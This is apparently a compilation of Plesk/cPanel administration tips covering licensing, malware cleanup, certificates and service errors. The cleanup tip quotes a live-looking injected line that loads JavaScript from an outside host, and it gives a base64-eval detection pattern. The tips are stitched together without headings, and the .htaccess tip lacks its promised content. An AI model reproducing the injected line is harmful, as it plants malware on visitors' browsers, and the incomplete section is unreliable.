Get the Key number/files from shell:

1. Parallels Panel 7.x – 8.x:
# grep ‘Key number’ /etc/psa/psa.key

2. Parallels Panel 9.x:
grep ‘key-number’ /etc/sw/keys/keys/key*

Plesk for Windows:

1. In Plesk control panel go to Server, License Management and see the license number there.
2. Use the command in the command prompt:
“%plesk_bin%\keymng.exe” –get-key-number

key file on plesk windows is in:

C:\Program Files (x86)\Parallels\Plesk\admin\repository\keys\keyxxxxxx

when you change it , you have to delete C:\Program Files (x86)\Parallels\Plesk\admin\repository\registry.xml and it will be recreated after first accessing plesk interface.

cd to your site’s httpdocs and run:

find .  -type f -exec sed -i ‘/oployau.fancountblogger.com/d’ {} \;

for lines like :

js/ac_runactivecontent.js:document.write(‘<s’+'cript type=”text/javascript” src=”http://oployau.fancountblogger.com:8080/Link.js”></scr’+'ipt>’);

or just

find . -name “*.php” -type f -exec sed -i ‘/eval(base64_decode(/d’ {} \;

if you want to check/repair only php files with base64 encoded injection.

Of course you need shell access for this or you can just request you hosting guys to do it for you.

To solve this you can set this in psa database:

update cl_param set val = ‘false’ where param = ‘OveruseBlock’;
update dom_param set val = ‘false’ where param = ‘OveruseBlock’;

so no client or domain will be suspended . The drawback is that clients will be able to overuse any limits like no of domains , databases ,email accounts….

This command just forces the job to re-run on  a single domain:

/usr/local/psa/admin/sbin/statistics –calculate-one –domain-name=Domain_name.com

MSDNS is used as DNS server. Every time when you try to update domain hosting or DNS settings of the domain, Parallels Plesk Panel hangs. Sometimes it can fails with the following error:
Failed domain creation: Unable to update domain data: Unable to create dnsmng object: dnsmng failed: Empty error message from utility

The following message can be found in event viewer:
Faulting application DNSMng.exe, version 9.501.0.0, time stamp 0x4bc1f9fd, faulting module MsProv.dll, version 9.501.0.0, time stamp 0x4bc205bc, exception code 0xc0000005, fault offset 0x000600bb, process id 0x56c, application start time 0x01cae1ae46c559db

Utility “%plesk_bin%\dnsmng.exe” cannot be run from command line. It fails with the error:
DNSMng.exe – Application Error : The instruction at “0x00ba74ac” referenced memory at “0x00bd2108″. The memory could not be “read”

One solution is to use .htaccess files for example to stop direct php access/execution in that folder/subfolders :

#touch .htaccess

content of .htaccess:

“IMAP service was down there, it could not start with error

Aug 17 08:00:05 websvr imapd: Invalid -maxperip option.
Aug 17 08:00:05 websvr imapd-ssl: Invalid -maxperip option.”

The reason of the error was that MAXPERIP option was absent in /etc/courier-imap/imapd configuration file. I have added the missed line and restarted service. it  works OK now.

The error received in plesk is:

HTTP Error 404.13 – Not Found

The request filtering module is configured to deny a request that exceeds the request content length.

All you have to do to solve this :

%windir%\system32\inetsrv\appcmd set config “PleskControlPanel/” -section:requestFiltering -requestLimits.maxAllowedContentLength:104857600

which will set a 100MB limit for file uploads in plesk file manager.

Server -> Certificates -> Add New Certificate

For Parallels Plesk Panel version 9.x:

Settings -> SSL Certificates -> Add SSL Certificate

Fill in required preferences and click button {Self-Signed}

New self-signed SSL certificate will be created in server certificate repository.

To assign this SSL certificate for securing your Parallels Plesk Panel mark enabled new SSL certificate in the list and push Secure control panel if you have Plesk 8.2 or later, or Install if you have older Plesk version.
Also, see Plesk documentation how to setup self-signed certificates.

After you created or uploaded new certificate into Plesk and wish to use it for domains you should set it for every IP you need, so domains use it when you access them via HTTPS.
It can be done on page Server -> IP Addresses -> “choose IP” by selecting needed Certificate in “SSL Certificate” drop down menu.

or

I use 1 SSL cert for plesk control-panel, pop3s, imaps and smtps.

After generating the new certificate in the administrator repository. make it your default certificate and mark it again and press setup to install it on your plesk admin server on port 8443. then put the certificate at your main ip-adresse in your ip-pool(maybee this step is not necessary).

copy /usr/local/psa/admin/conf/httpsd.pem
to
/usr/share/courier-imap/pop3d.pem, /usr/share/courier-imap/imapd.pem and /var/qmail/control/servercert.pem

please have a look that the owner(very important) and the chmod rights are the same of pop3d.pem, imapd.pem and servercert.pem. like before otherwhise qmail will for example not work/start, because it can’t read the file.

restart courier(imap,pop3) and qmail(smtp) in the plesk server service control panel.

after this plesk control-panel 8443, pop3s, imaps and smtps should work without warning messages and with only 1 ssl cert, if you use for all services the same main hostname.domain.com address like me.

(maybee you should also have a look, that the same hostname is configured in the qmail config file)

finally to test certificates :

openssl s_client -connect [host]:993

openssl s_client -connect [host]:995

openssl s_client -connect [host]:465

openssl s_client -connect [host]:8443

where for e.g. host=localhost

[emerg] (28)No space left on device: Couldn’t create accept lock
or
[crit] (28)No space left on device: mod_rewrite: could not create rewrite_log_lock Configuration Failed
Checking your disk shows that you have plenty of space. The problem is that apache didn’t shut down properly, and it’s left myriads of semaphore-arrays left, owned by my apache-user. Run:-

For CPanel :

ipcs -s | grep nobody
Removing these semaphores immediately should solve the problem and allow apache to start.
ipcs -s | grep nobody | perl -e ‘while (<STDIN>) { @a=split(/\s+/); print `ipcrm sem $a[1]`}’

For Plesk :

ipcs -s | grep apache
Removing these semaphores immediately should solve the problem and allow apache to start.
ipcs -s | grep apache | perl -e ‘while (<STDIN>) { @a=split(/\s+/); print `ipcrm sem $a[1]`}’